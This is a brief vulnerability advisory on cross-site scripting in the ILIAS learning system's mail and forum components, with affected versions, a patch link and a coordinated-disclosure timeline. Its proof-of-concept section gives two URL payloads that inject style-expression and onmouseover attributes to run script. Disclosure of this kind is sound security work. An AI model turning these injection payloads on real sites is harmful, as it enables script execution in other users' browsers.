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ILIAS <= 3.8.3 Cross Site Scripting
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Author:          L4teral <l4teral [4t] gmail com>
Impact:          Cross Site Scripting
Status:          patch available


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Affected software description:
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Application:     ILIAS
Version:         <= 3.8.3
Vendor:          http://www.ilias.de

Description:
ILIAS is a powerful web-based learning management system that allows
you to easily manage learning resources in an integrated system.


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Vulnerability:
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The mailing and forum components are vulnerable to cross site scripting.


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PoC/Exploit:
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create forum post/mail with:
http://www.ex"style="width:expression(alert('xss'))"ample.com

http://www.ex"onmouseover="javascript:alert('xss');"ample.com


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Solution:
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install security patch:
http://www.ilias.de/docu/goto.php?target=pg_16836_35&client_id=docu


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Timeline:
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17.10.2007 - vendor informed
25.10.2007 - vendor responded
29.10.2007 - vendor released patch
30.10.2007 - public disclosure